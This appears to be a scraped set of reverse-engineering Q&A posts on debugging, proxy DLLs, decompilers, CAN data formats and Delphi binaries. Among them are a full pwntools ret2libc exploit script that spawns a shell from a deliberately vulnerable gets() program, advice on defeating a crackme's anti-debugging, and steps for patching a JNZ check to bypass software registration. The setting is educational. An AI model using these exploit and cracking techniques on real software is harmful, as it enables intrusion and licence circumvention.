noreferrer">https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_amd64.h</a></p>
What is the structure of the Stack in a minidump?
|windbg|stack|
<p>use a debugger, single step the code, and watch what it does. Odds are, it's one of the windows API functions that Ahmed mentions in another response. But, step 1 would be figure out what it's doing, and then using the debugger, just jump OVER that code.</p>
28063
2021-07-28T20:11:37.023
<p>So I have a crackme my friend sent to try and crack it but the problem that I cannot bypass the anti-debugging or even patching it.</p> <p>I even tried using ScyllaHide at <strong>max</strong> settings but still it detects that there's a debugger and close itself without any message, and it encrypts its strings in memory, so I can't get the key.</p> <p>How can I prevent it from detect if there was a debugger or getting the key from memory? (BTW I knew that it encrypts string being entered and compares it to the another encrypted string)</p>
How to bypass anti-debugging C++
|x64dbg|anti-debugging|crackme|anti-dumping|
<p>This is called <a href="https://docs.microsoft.com/en-us/cpp/error-messages/tool-errors/name-decoration" rel="nofollow noreferrer"><em>name decoration</em></a>. Specifically in this case, it denotes <code>__stdcall</code> functions which accept the indicated number of bytes as stack arguments.</p> <p>The number at the end of the export definition (after the space delimiter) is used to specifty <a href="https://docs.microsoft.com/en-us/cpp/build/reference/exports" rel="nofollow noreferrer">the <em>ordinal</em> of the export</a>.</p>
29072
2021-07-30T13:52:17.373
<p>In proxy dll in .def file I can see the following notation:</p> <pre><code>_CreateFrameInfo=PROXY__CreateFrameInfo @1 </code></pre> <p>Others use in the following format:</p> <pre><code> _AIL_3D_position@16 = vcruntime140_._AIL_3D_position@16 </code></pre> <p>What is the meaning of @ tag in that notation?</p> <p>Also, I have run the Dependency Walker on that program. It returned Hint: 1 (0x0001), 5(0x0005), etc. Are these related? There are less hints than functions though...</p>
What's the meaning of @ tag on proxy dll?
|dll|msvc|
<p>Fixed this in several steps:</p> <ol> <li><p>Confirmed with Dependency Walker that the DLL is x64 (it wasn't apparent as the environment was mixed as I've mentioned above)</p> </li> <li><p>Added .def as Module Definition File on Linker (on some architectures I forgot to do it as I was experimenting with different options)</p> </li> <li><p>Main thing is, the code as it was in .def file is not working:</p> <blockquote> <p>swr_alloc@1=swresample-3_.swr_alloc@1</p> </blockquote> <blockquote> <p>swr_alloc_set_opts@2=swresample-3_.swr_alloc_set_opts@2</p> </blockquote> </li> </ol> <p>It had to be replaced with this in the .def file:</p> <pre><code> swr_alloc=PROXY__swr_alloc @1 </code></pre> <p>And change in the mainDLL():</p> <pre><code>case DLL_PROCESS_ATTACH: { hLThis = hInst; hL = LoadLibrary(&quot;.\\swresample-3_.dll&quot;); if (!hL) { MessageBox(NULL, &quot;Failed to load swresample-3_.dll&quot;, &quot;swresample-3.dll proxy&quot;, MB_OK); return FALSE; } p[0] = GetProcAddress(hL, &quot;swr_alloc&quot;); p[1] = GetProcAddress(hL, &quot;swr_alloc_set_opts&quot;); </code></pre> <p>.....</p> <pre><code>extern &quot;C&quot; { FARPROC PA = NULL; int RunASM(); void PROXY__swr_alloc() { PA = p[0]; RunASM(); } void PROXY__swr_alloc_set_opts() { PA = p[1]; RunASM(); } </code></pre> <p>With .asm file:</p> <pre><code>.data extern PA : qword .code RunASM proc jmp qword ptr [PA] RunASM endp end </code></pre> <p>This is a more &quot;standard&quot; approach to proxy dll creation. But I still don't understand why the original dll setup, i.e. the layout of the .def file didn't work. I saw that working on some other projects.</p>
29083
2021-08-02T09:02:48.977
<p>I have relatively simple code here for the proxy <code>DllMain()</code> function:</p> <pre><code>BOOL APIENTRY DllMain(HMODULE hDll, DWORD reason, LPVOID reserved) { if (reason != DLL_PROCESS_ATTACH) { return TRUE; } library = LoadLibrary(&quot;vcruntime140_.dll&quot;); if (!library) { MessageBox(NULL, &quot;Failed to load vcruntime140_.dll&quot;, &quot;vcruntime140.dll proxy&quot;, MB_OK); return FALSE; } if (reason == DLL_PROCESS_DETACH) { FreeLibrary(library); return TRUE; } setupVftableHooks(); return setupHooks(); } </code></pre> <p>For some reason, it doesn't load the original DLL, i.e. <code>vcruntime140_.dll</code>. It loads the proxy one, aka <code>vcruntime140.dll</code>. It tries to load it several times, in fact:</p> <pre><code>Loaded Binaries\Windows-x86_64\vcruntime140.dll'. Symbols loaded. Loaded Binaries\Windows-x86_64\vcruntime140.dll'. Symbols loaded. Unloaded Binaries\Windows-x86_64\vcruntime140.dll' Loaded Binaries\Windows-x86_64\vcruntime140.dll'. Symbols loaded. Unloaded Binaries\Windows-x86_64\vcruntime140.dll' </code></pre> <p>But</p> <ul> <li><p>a) never once it actually tries to load <code>vcruntime140_.dll</code>, which is the original DLL,</p> </li> <li><p>b) it is suspicious that last record in the debugger is Unloaded. Although it must've been loaded at the end, as the program doesn't crash (not on DLL loading anyway),</p> </li> <li><p>c) when the program tries to execute, it complains about</p> <blockquote> <p>0xC0000139: Entry Point Not Found for different functions in the original DLL.</p> </blockquote> <p>I suspect it is because the original DLL simply was not loaded (as I've checked the Dependency Walker and Entry Points look fine for all of the original functions).</p> </li> </ul> <p>Update 06.08.21: Created a x86 version of the DLL. It loads and the program starts. The difference with the above x64 version is that the program doesn't complain about Entry points for the functions. It loads the DLL from it's location within the game folder, but it also loads the equivalent dll from System32, i.e.:</p> <pre><code>Binaries\Windows-x86_64\vcruntime140.dll'. Binaries\Windows-x86_64\vcruntime140.dll' Binaries\Windows-x86_64\vcruntime140.dll'. Binaries\Windows-x86_64\vcruntime140.dll' (Win32): Loaded 'C:\Windows\System32\vcruntime140.dll' (Win32): Loaded 'C:\Windows\System32\vcruntime140.dll' (Win32): Unloaded 'C:\Windows\System32\vcruntime140.dll' </code></pre> <p>What is confusing about this is that it doesn't load the actual DLL from the game folder, i.e. vcruntime140_.dll. Will continue trying to debug, but since it doesn't stop at breakpoints in <code>DllMain()</code> function, I don't know what's the best way to do it.</p> <p>Note that the program runs in the mixed environment, as you can see from the name of the folder, from which it actually starts: Windows-x86_64</p>
Proxy dll doesn't load the original dll
|windows|c++|dll|dll-injection|proxy|
<p>It seems that I made two critical mistakes when I tried to use <code>myfile.txt</code> to exploit the binary.</p> <ol> <li>When writing the exploit to the file I did NOT append <code>\n</code> to the payload. <code>P.sendline()</code> appends this to the payload automatically. Without <code>\n</code> the function <code>gets()</code> just keeps asking for more input.</li> <li>The second mistake was not to include the <code>stdin</code> when piping to <code>myfile.txt</code>. I am unsure about the specifics about this, but when running <code>cat myfile.txt - | ./test</code> I got the shell I wanted.</li> </ol>
29089
2021-08-02T23:56:08.230
<p>I am trying to exploit this program <code>test</code> with ret2libc. Only NX is enabled.</p> <pre><code>#include &lt;stdio.h&gt; void vuln() { char buffer[256]; gets(buffer); } int main() { vuln(); return 0; } </code></pre> <p>I am able to exploit the program with pwntools, but I am unable to exploit it doing <code>./test &lt; myfile.txt</code>.</p> <p>Exploit:</p> <pre><code>#!/bin/python3 from pwn import process, gdb, shellcraft, p32, asm from pwnlib.util.cyclic import cyclic, cyclic_find import os LOCAL_BIN = &quot;./test&quot; SYSTEM_ADDR = 0xf7e10420 # p system SHELL_ADDR = 0xf7f5a352 # find &amp;system,+9999999,&quot;/bin/sh&quot; EXIT = 0xf7e02f80 # p exit OFFSET = 264 # offset to ebp P = process(LOCAL_BIN) G = gdb.attach(P.pid, &quot;b *0x080491c7&quot;) payload = b'' payload = payload.ljust(OFFSET, b'A') payload += b'BBBB' # fill ebp with \x42 payload += p32(SYSTEM_ADDR) payload += p32(EXIT) payload += p32(SHELL_ADDR) # write bytes to file. ./test &lt; myfile.txt should work the same? with open('myfile.txt', 'wb') as w: w.write(payload) P.sendline(payload) P.interactive() exit() </code></pre> <p>What is the difference from running pwntools and piping bytes into the program?</p>
ret2libc: problem getting exploit work without pwntools
|c|buffer-overflow|pwntools|
<p>I've considered doing this myself, but it's tricky for many reasons.</p> <p>First, exception internals are not standardized across languages, platforms, or implementations. 64-bit Windows programs use a data-driven exception model, i.e., the <code>RUNTIME_FUNCTION</code> (etc.) entries in the <code>.rdata</code> segment. In this paradigm, the binary pre-registers information about exception scopes and handlers with the operating system via standardized structures, which takes care of lookup and dispatch when an exception occurs. Your example shows 32-bit Delphi; 32-bit Windows programs use a code-driven exception model, where the code is responsible for adding and removing exception handlers on demand, using proprietary metadata formats. As a result, adding exception support would require a lot of platform and language-specific effort, and may involve reverse engineering undocumented exception implementations across multiple runtime versions for a given language. While there would be benefits to adding exception support, it would also require a lot of work to develop (and maintain as the runtime support evolves over time).</p> <p>Secondly, even if we were to decompile exception-related things into a simplified, language-independent representation, the most logical method of presentation would involve extending Hex-Rays to support things like <code>try</code>/<code>catch</code>/<code>finally</code> blocks as scoped constructs, and producing these things in the output. Unfortunately, extending the Hex-Rays <code>ctree</code> IR in this fashion is impossible for third-party developers. The valid <code>ctree</code> expression types are held in an <code>enum</code> called <code>ctype_t</code>. We'd need to add new entries like <code>cit_try</code> to this <code>enum</code>, we'd need to extend the <code>union</code> in <code>cinsn_t</code> to support an additional <code>ctry_t *</code> element, and we'd need to modify all of the existing <code>ctree</code> code in Hex-Rays to be aware of our modifications (for example, to print the <code>try</code> blocks in the decompilation listing). None of these things can be done by third-party plugins, as the existing, pre-compiled code will generate INTERRs upon encountering our <code>cit_try</code> instructions. Adding statement types to the <code>ctree</code> IR can only be accomplished via source-level modifications, not via plugins.</p> <p>Finally, even though Hex-Rays technically has an option not to eliminate exception-related code, I'm not completely sure how it works. Exception-related code often manifests itself as &quot;function chunks&quot; attached to a given function, which have no incoming control flow references. As a result, that code is eliminated by the optimizer very early into the decompilation process. You'd need to find a way to preserve it.</p> <p>It's a daunting prospect for a third-party developer; I myself abandoned the idea. It's also daunting for the first-party developers. I don't expect to see it in any major decompiler any time soon.</p>
29099
2021-08-05T13:09:33.563
<p>I've been working in IDA Pro with a project but there is an issue. Try-Catch statements don't look nice.</p> <p>I've been searching and it seems like IDA does not support them so I was wondering if there is a way to either:</p> <ul> <li>Hide sections of the Pseudocode</li> <li>Create extensions for Hex-Rays to support them</li> <li>Tell IDA how and where the exceptions are</li> </ul> <p>This is how the thing looks like at the moment:</p> <pre><code> v3.SavedRegs = &amp;savedregs; v3.Handler = &amp;loc_43B24C; v3.Next = NtCurrentTeb()-&gt;NtTib.ExceptionList; __writefsdword(0, &amp;v3); Controls::TControl::ReadState(Self, a2); __writefsdword(0, v3.Next); </code></pre> <p>And I would like to end up with something like this:</p> <pre><code> try { Controls::TControl::ReadState(Self, a2); } ... {} </code></pre> <p>Or if I can just hide those parts...</p> <pre><code> //try { &lt;- Block comment (parts hidden) Controls::TControl::ReadState(Self, a2); //} ... {} &lt;- Block comment (parts hidden) </code></pre> <p>Anything is good as long as I can hide those lines because they are distracting AF. Thank you very much!</p>
IDA PRO Hex-Rays try-catch
|ida|hexrays|ida-plugin|exception|
<p>Maybe it is the temperature in Kelvin: 311 - 80/2 = 217K = -2.15°C</p> <p>Or the offset is different than 80/2. A 16-bit floating-poitn format, especially a different one from IEEE-754 is highly unlikely. Such measurement chips are not more but simple ADCs, they lack the capabilities to convert their reading to floating-point.</p> <p>To be sure, you would have to take several readings. If you expect that temperature fluctuates by a few °C between measurements, then in <code>00000001 00110111</code> only the last few bits should change.</p> <p>If you have access to the hardware, read the serial number off the chip package and look it up, maybe you find the data sheet that documents the data format of measurements.</p>
29105
2021-08-07T12:33:27.563
<p><strong>Background / Introducion</strong></p> <p>CAN message Mercedes-Benz, cannot determine 16-bit data type for temperature.</p> <pre><code>7E 00 32 01 37 00 </code></pre> <p>According to <a href="https://github.com/rnd-ash/W203-canbus/blob/master/DAT_TRANSLATOR/DECODED/w211_w219%20CAN%20B%20ENGLISH.txt#L814" rel="nofollow noreferrer">@rnd-ash</a> (who has reverse engineered ACTIA Basic XS Monitor Software) message is structured data type composed of four values. Now we have bit length + offset but unfortunately data type is unknown.</p> <pre><code>ECU NAME: SAM_V_A2, ID: 0x0017. MSG COUNT: 4 MSG NAME: T_AUSSEN_B - (°C) (° C) Outside air temperature, OFFSET 0, LENGTH 8 MSG NAME: P_KAELTE - (bar) (Bar) pressure refrigerant R134a, OFFSET 8, LENGTH 16 MSG NAME: T_KAELTE - (°C) (° C) temperature refrigerant R134a, OFFSET 24, LENGTH 16 MSG NAME: I_KOMP - (mA) (MA) current compressor main control valve, OFFSET 40, LENGTH 8 </code></pre> <p><a href="https://stackoverflow.com/users/9178992/projectphysx">@ProjectPhysX</a> suggested it is probably 8/16-bit integer and big endian, so I created that struct. Figured out how to calculate value 0, 1, 3 but unfortunately struggling with value 2</p> <pre><code>typedef struct SAM_V_A2_t { uint8_t T_AUSSEN_B; uint16_t P_KAELTE; uint16_t T_KAELTE; uint8_t I_KOMP; } SAM_V_A2_t; </code></pre> <p>Based on that pictures I can confirm the calculation except for T_KAELTE, which is target of this question (see below).</p> <pre><code>std::cout &lt;&lt; &quot;T_AUSSEN_B = &quot; &lt;&lt; +( (SAM_V_A2.T_AUSSEN_B - 80) / 2 ) &lt;&lt; &quot; (°C) Outside air temperature&quot; &lt;&lt; std::endl; std::cout &lt;&lt; &quot;P_KAELTE = &quot; &lt;&lt; +( SAM_V_A2.P_KAELTE / 10 ) &lt;&lt; &quot; (bar) pressure refrigerant R134a&quot; &lt;&lt; std::endl; std::cout &lt;&lt; &quot;T_KAELTE = &quot; &lt;&lt; +( (SAM_V_A2.T_KAELTE - 80) / 2 ) &lt;&lt; &quot; (°C) temperature refrigerant R134a&quot; &lt;&lt; std::endl; std::cout &lt;&lt; &quot;I_KOMP = &quot; &lt;&lt; +( SAM_V_A2.I_KOMP * 10 ) &lt;&lt; &quot; (mA) current compressor main control valve&quot; &lt;&lt; std::endl; </code></pre> <p><a href="https://i.stack.imgur.com/O2YqU.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/O2YqU.jpg" height="120"/></a> <a href="https://i.stack.imgur.com/QlCge.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QlCge.jpg" height="120"/></a> <a href="https://i.stack.imgur.com/069Ye.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/069Ye.jpg" height="120"/></a> <a href="https://i.stack.imgur.com/anx9F.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/anx9F.jpg" height="120"/></a></p> <pre><code> 7E 00 32 01 37 00 01111110 00000000 00110010 00000001 00110111 00000000 126 50 311 0 126 - 80 / 2 50 / 10 ? 0 * 10 23°C 5 bar ? °C 0 mA </code></pre> <hr /> <p><strong>Question</strong></p> <p>My last hope was it could be <code>binary16</code> or <code>bfloat16</code> but no luck. Maybe it is some proprietary 16-bit floating-point format with different bits for exponent / mantissa</p> <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/21/IEEE_754r_Half_Floating_Point_Format.svg/175px-IEEE_754r_Half_Floating_Point_Format.svg.png"/> <p>Maybe we can brute force all permutations for exponent / mantissa to determine data type.<br /> <strong>Question:</strong> How can we decode <code>01 37</code> so it gives expected value ~ 21.10 °C</p> <p>(more sample data <a href="https://forum.pjrc.com/threads/56035-FlexCAN_T4-FlexCAN-for-Teensy-4?p=284462&amp;viewfull=1#post284462" rel="nofollow noreferrer">here</a>)</p>
determine proprietary 16-bit floating-point format
|c++|file-format|serial-communication|float|type-reconstruction|
<p>Let's go into the important instructions in the <em>reversed</em> order.</p> <ol> <li><p><code>JNZ ...</code></p> <p>Jump if Not Zero. You want to jump (over the &quot;bad boy&quot;), i.e. you want to obtain &quot;Not Zero&quot; in this (previous) instruction:</p> </li> <li><p><code>TEST AL,AL</code></p> <p>To obtain &quot;Not Zero&quot;, the value in AL have to be &quot;Not Zero&quot;, too.<br /> The value of AL is set in this (previous) instruction:</p> </li> <li><p><code>CALL ...</code></p> <p>This instruction calls a function, and this function fills the EAX register with its return value (in concordance with the calling convention). The AL register is a part of EAX:</p> <p><a href="https://i.stack.imgur.com/mqwKL.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mqwKL.png" alt="enter image description here" /></a></p> <p>So you want from this function to return some &quot;Not Zero&quot;, but it stubbornly returns 0 (meaning &quot;Not Registered&quot;).</p> </li> </ol> <hr /> <p>You have some natural possibilities to reach your desired behavior (jumping over the &quot;bad boy&quot;), but at first I remind the original order of instructions:</p> <pre><code>CALL ... TEST AL,AL JNZ ... </code></pre> <ol> <li>Replace the <code>JNZ ...</code> instruction with <code>JMP ...</code> or <code>JZ ...</code>.</li> <li>Replace the <code>TEST AL,AL</code> instruction with a such one which gives you a &quot;Not Zero&quot; result.</li> <li>Replace the <code>CALL ...</code> instruction with a such one which fills the AL register with a &quot;Not Zero&quot;.</li> <li>Deep into the function in the <code>CALL ...</code> instruction and change it to return a &quot;Not Zero&quot; value.</li> </ol>
29113
2021-08-09T18:15:37.283
<p>In the part 07 of lena151 RE tutorial, we arrive to these instructions:</p> <pre><code>AL = 0 TEST AL,AL JNZ ... </code></pre> <p><a href="https://i.stack.imgur.com/dkz2t.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dkz2t.jpg" alt="enter image description here" /></a></p> <p>And notice:</p> <blockquote> <p>Because of the JNZ, AL must be different from zero when arriving here to be registered.</p> </blockquote> <p><strong>My question is:</strong> Why the AL must be different from zero? If 2 value (0=0) are equal, the Z flag set to 1, because the result of comparison is true! Is this right?</p>
TEST instruction and ZF flag
|assembly|register|
<p>Thought about this and it seems in this address <code>((this + 0x5e8) + 0x50)</code> the values are like this:</p> <ul> <li><p><code>this + 0x5e8</code> - is an address of the structure in the particular class</p> </li> <li><p><code>0x50</code> - is an address of the element within that structure, could occupy any position as we don't know by just looking at it of how many other elements are there and what sizes do they have.</p> </li> </ul> <p>Just didn't realise that this is what <a href="https://reverseengineering.stackexchange.com/users/3473/blabb">blabb</a> said in the comment. Happy to accept that comment as an answer if you want to post it.</p>
29138
2021-08-15T17:57:29.560
<p>I have the code below, derived from the reversed function in the original application:</p> <pre><code>gladius::world::World::create(*(gladius::world::World**)(*(char*)(this + 0x5e8) + 0x50)); </code></pre> <p>The <em>create</em> function looks like this:</p> <pre><code>void __thiscall gladius::world::World::create(World *this) { </code></pre> <p>Could someone please describe the way the function is setup and may be simplify the notation above if possible?</p> <p>So, this is a <em>create</em> function call, which takes as an argument the pointer to a particular address.</p> <ul> <li>How the pointer address is calculated in this case?</li> <li>What is the exact meaning of (this + 0x5e8) + 0x50 - 0x5e8 offset to <em>this</em> and then 12th element of the structure (i.e. structure of 4 bytes - address 48? )</li> <li>What 0x5e8 represents in this case (apart of being an offset, I mean what this offset could possibly point to)?</li> </ul> <p>This is how it looks further in the code:</p> <pre><code> this_01 = GUI::getWorld(*(GUI **)(this + 0x88)); gladius::world::World::create(this_01); </code></pre> <p>where <code>GUI::getWorld(*(GUI **)(this + 0x88));</code> points to the following function:</p> <pre><code>World * __thiscall gladius::gui::GUI::getWorld(GUI *this) { return *(World **)(*(longlong *)(this + 0x5e8) + 0x50); } </code></pre> <p>This is where the address (this + 0x5e8) + 0x50) came from.</p> <p>I still don't understand the significance of these addresses, as <em>create</em> is a member function of World and it is called with an instance of that class as a parameter?</p> <p>And the address of that instance is stored in class GUI on the address: (this + 0x5e8) + 0x50)?</p> <p>Or I am confusing the above and this + 0x5e8 points to some structure in the World class, which must be somewhere at 58/4 or at 58/8 address and then within that structure I am looking at 50/4 member?</p>
How to make sense of the pointer in reversed function call?
|decompilation|c++|game-hacking|
<p>Delphi executables store read only data such as RTTI (Run time type information) at the start of CODE section. <code>objdump</code> can’t know that it’s not really code so it tries to disassemble it as instructions and you get nonsense.</p>
29140
2021-08-16T10:09:40.390
<p>I'm attempting to dissect/disassemble a windows PE file under Linux using objdump. On surface analysis, the .code section was disassembled to :</p> <pre><code>tmp.exe: file format pei-i386 Disassembly of section CODE: 00401000 &lt;CODE&gt;: 401000: 04 10 add $0x10,%al 401002: 40 inc %eax 401003: 00 03 add %al,(%ebx) 401005: 07 pop %es 401006: 42 inc %edx 401007: 6f outsl %ds:(%esi),(%dx) 401008: 6f outsl %ds:(%esi),(%dx) 401009: 6c insb (%dx),%es:(%edi) 40100a: 65 gs 40100b: 61 popa 40100c: 6e outsb %ds:(%esi),(%dx) 40100d: 01 00 add %eax,(%eax) 40100f: 00 00 add %al,(%eax) 401011: 00 01 add %al,(%ecx) 401013: 00 00 add %al,(%eax) 401015: 00 00 add %al,(%eax) ... </code></pre> <p>Then I looked at the entry point which was 0x45e534, which ended up within an opcode:</p> <pre><code> 45e52f: 00 dc add %bl,%ah 45e531: e2 45 loop 0x45e578 45e533: 00 55 8b add %dl,-0x75(%ebp) 45e536: ec in (%dx),%al 45e537: 83 c4 f0 add $0xfffffff0,%esp 45e53a: b8 04 e3 45 00 mov $0x45e304,%eax 45e53f: e8 e0 84 fa ff call 0x406a24 </code></pre> <p>Which, I feel is very wrong; but since my understanding of assembly is lacking, I could be wrong.</p> <p>So having read [1] and the chapter on Disassembly in &quot;Practical Malware Analysis&quot;, I realized that there could be data in the .text (or in this case, CODE) section. So I took a gander at the hex dump on the file and came across at the beginning of the code section:</p> <pre><code>0000400: 0410 4000 0307 426f 6f6c 6561 6e01 0000 ..@...Boolean... 0000410: 0000 0100 0000 0010 4000 0546 616c 7365 ........@..False 0000420: 0454 7275 658d 4000 2c10 4000 0204 4368 .True.@.,.@...Ch 0000430: 6172 0100 0000 00ff 0000 0090 4010 4000 ar..........@.@. 0000440: 0107 496e 7465 6765 7204 0000 0080 ffff ..Integer....... 0000450: ff7f 8bc0 5810 4000 0104 4279 7465 0100 ....X.@...Byte.. 0000460: 0000 00ff 0000 0090 6c10 4000 0104 576f ........l.@...Wo 0000470: 7264 0300 0000 00ff ff00 0090 8010 4000 rd............@. 0000480: 0108 4361 7264 696e 616c 0500 0000 00ff ..Cardinal...... 0000490: ffff ff90 9810 4000 0a06 5374 7269 6e67 ......@...String ... </code></pre> <p>This lead me to believe that there is definitely DATA in the code section [but, again, I could be wrong].</p> <p>My question is (even given [1]), is it possible to figure out what the format of the DATA is in that part of the binary?</p> <p>With my limited understanding, I'm guessing it's a structure of some sort <em>or</em> possibly a long list of DB/DW but (again, I could be wrong).</p> <p>For instance, the very first set:</p> <pre><code>0410 4000 0307 426f 6f6c 6561 6e01 00 00.. </code></pre> <p>Could the above be translated to something like (in assembly)</p> <pre><code> DB 0x00401004 DB 0x0703 DB &quot;Boolean&quot; ... </code></pre> <p>I tried to look for the opcode DB in [2] but couldn't find it, so I'm wondering if I'm barking up the wrong tree.</p> <p>Any help/pointers appreciated</p> <p>:ewong</p> <p>[1] - <a href="https://reverseengineering.stackexchange.com/questions/16498/how-do-reverse-engineers-commonly-detect-the-format-of-binary-data">How do reverse engineers commonly detect the format of binary data?</a></p> <p>[2] - <a href="http://mathemainzel.info/files/x86asmref.html" rel="nofollow noreferrer">http://mathemainzel.info/files/x86asmref.html</a></p>
Format of data in the .code/.text section
|disassembly|malware|static-analysis|
<p>On the machine level, there is no difference between an int[2] array, a structure with two ints, or two int variables that happen to be placed next to each other.</p> <p>In addition, sometimes one variable may be stored separately in different locations. For example, when dealing with 64-bit numbers on 32-bit processors, the compiler has to work with 32 bits at a time. A common aproach is to use <code>eax</code> for the low part and <code>edx</code> for the high.</p> <p>Your sample seems to be behaving quite similarly (low part of <code>var_10</code> is stored in <code>eax</code> and <code>var_10+4</code> in <code>edx</code>), so possibly it triggers 64-bit math heuristics and the decompiler initially decides that <code>var_10</code> is one 64-bit variable but later replaces it by a two-element array. It's difficult to say what's happening for sure without the database.</p> <p>One possible way to separate the variables is to edit the stack frame structure. For this, double-click <code>var_10</code> in disassembly view or <code>v4</code> in pseudocode, then edit <code>var_10</code> to be a dword instead of qword an add another dword after it. Normally this should give a hint to the decompiler that they are separate variables.</p>
29150
2021-08-17T13:11:18.400
<p>I'm working in a Delphi binary and found a little issue while generating pseudocode. This is the output (after some clean up) that IDA gives me:</p> <pre><code>Integer __fastcall LBCommon::TLBMemStream::GetFromId(PLBMemStream Self, Integer Id) { int v4[2]; // [esp+0h] [ebp-10h] BYREF if ( LBCommon::IndexFromId(Self-&gt;FFullData, Id, &amp;v4[1]) ) v4[0] = &amp;Self-&gt;FFullData[*&amp;Self-&gt;FFullData[sizeof(TLBDataEntry) * v4[1] + 0x19] + offsetof(TLBDataItem, FData)]; else v4[0] = 0; return v4[0]; } </code></pre> <p>As you can see, it is just a simple piece of code where it does some simple math en then returns. But there is a problem: v4 is represented as an array of integers instead of two separated variables.</p> <p>In theory, v4[0] is a &quot;Pointer&quot; to memory that will be returned while v4[1] is a variable that should have a number of times to advance. But IDA thinks of them as an array and just sticks them together. I tried separating them by setting the type to &quot;int v4&quot; and it worked, but IDA then told me:</p> <blockquote> <p>/ local variable allocation has failed, the output may be wrong!</p> </blockquote> <p>It also shows the two variables generated with the color red signaling that something is wrong.</p> <p>I don't know a lot about how IDA generates the Pseudocode from the ASM, but I believe that the issue is with how the code access the memory regions. For v4[0] it does &quot;<strong>mov edx, [esp+10h+var_10]</strong>&quot; and for v4[1] it does &quot;<strong>mov edx, [esp+10h+var_10+4]</strong>&quot; so I believe that it is the reason why they are seen as an array.</p> <p>Here is the function in ASM just in case:</p> <pre><code>CODE:0046A7E4 var_10 = dword ptr -10h CODE:0046A7E4 CODE:0046A7E4 push ebx CODE:0046A7E5 push esi CODE:0046A7E6 add esp, 0FFFFFFF8h CODE:0046A7E9 mov esi, edx CODE:0046A7EB mov ebx, eax CODE:0046A7ED lea ecx, [esp+10h+var_10+4] ; Index CODE:0046A7F1 mov edx, esi ; FId CODE:0046A7F3 mov eax, [ebx+4] ; Header CODE:0046A7F6 call LBCommon::IndexFromId CODE:0046A7FB test al, al CODE:0046A7FD jz short loc_46A818 CODE:0046A7FF mov eax, [ebx+4] CODE:0046A802 mov edx, [esp+10h+var_10+4] CODE:0046A806 mov eax, [eax+edx*8+19h] CODE:0046A80A mov edx, [ebx+4] CODE:0046A80D lea eax, [edx+eax] CODE:0046A810 add eax, 0Dh CODE:0046A813 mov [esp+10h+var_10], eax CODE:0046A816 jmp short loc_46A81D CODE:0046A818 ; --------------------------------------------------------------------------- CODE:0046A818 CODE:0046A818 loc_46A818: CODE:0046A818 xor eax, eax CODE:0046A81A mov [esp+10h+var_10], eax CODE:0046A81D CODE:0046A81D loc_46A81D: CODE:0046A81D mov eax, [esp+10h+var_10] CODE:0046A820 pop ecx CODE:0046A821 pop edx CODE:0046A822 pop esi CODE:0046A823 pop ebx CODE:0046A824 retn </code></pre> <p>Is there a way to fix the issue without generating an error? Because I don't believe the original developers used an array here to do this simple thing and it is a problem that has been repeating itself for a while in some parts.</p>
IDA Pro shows an array where two varaibles should be
|ida|hexrays|delphi|
<p>Instead of modifying the install directory, you can put the extension into your home directory.</p> <p>You should manually unzip the extension <code>.zip</code> to <code>~/.ghidra/.ghidra_10.1.1_PUBLIC/Extensions/</code>. (Replace the Ghidra version with whichever you're using.)</p> <p>e.g.</p> <pre><code>cd ~/.ghidra/.ghidra_10.1.1_PUBLIC/Extensions/ unzip ~/Downloads/ghidra_10.1.1_PUBLIC_20220127_BinExport.zip </code></pre>
29152
2021-08-17T15:11:42.963
<p>I have a plugin that I want to install for <code>Ghidra</code>.</p> <p>The current way to install the plugin is to go to the <code>file-&gt;Install Extension</code> in the project window, and add my plugin there. However, in my scenario, I don't have an access to the GUI and I want to deploy <code>Ghidra</code> for Headless Analysis.</p> <p>For some reason, just copying the plugin files to <code>&lt;ghidra_home&gt;\Ghidra\Extensions</code> doesn't do the trick, and it looks like it only partially installs the plugin, and only the GUI way does the complete job.</p> <p>Any idea how can I programmatically install plugins for Ghidra?</p>
Install Ghidra plugin without GUI
|ghidra|plugin|
<p>I can't post comments, but perhaps you might want to mark your answer as a correct one with V sign under the answer, so that the question disappears from unanswered questions queue?</p> <p>That will help to keep the site maintained...</p>
29153
2021-08-17T18:39:47.310
<p>I have been analyzing an application and I'm getting confused about something.<br /> When I open an executable with OllyDbg, it shows <code>0xAA</code> byte.</p> <p><a href="https://i.stack.imgur.com/owfNG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/owfNG.png" alt="AA" /></a></p> <p>The same executable opened with CFF explorer at the same location… shows <code>0x62</code> instead of <code>0xAA</code>.</p> <p><a href="https://i.stack.imgur.com/y3UtR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/y3UtR.png" alt="62" /></a></p> <p>My question is.. Why is this happening?</p>
Ollydbg - bytes in memory different than on disk
|disassembly|
<p>I found the cause of the crash which is... Themida ‍♂️</p> <p>What happens is that from build 1607 and higher some exports have a double redirection using api sets. The app imports a couple of functions from <code>Usp10.dll</code> which have an apiset redirection to <code>Gdi32.dll</code> and inside <code>Gdi32.dll</code> there is an apiset redirection to <code>Gdi32full.dll</code>.</p> <p>Themida &quot;understands&quot; or follows the first api set redirection and uses an asm <code>JMP</code> instruction to jump to <code>Gdi32.dll</code>. The ApiSet name is then executed as if it's code, resulting in strange opcodes (but it is of course the api set name in ascii) and thus the crash dump doesn't make sense.</p> <p>I've resolved it by writing a <code>JMP</code> instruction at the various API's in <code>Gdi32.dll</code> to the actual implementation in <code>Gdi32full.dll</code> using an attached debugger.</p>
29167
2021-08-20T12:40:19.313
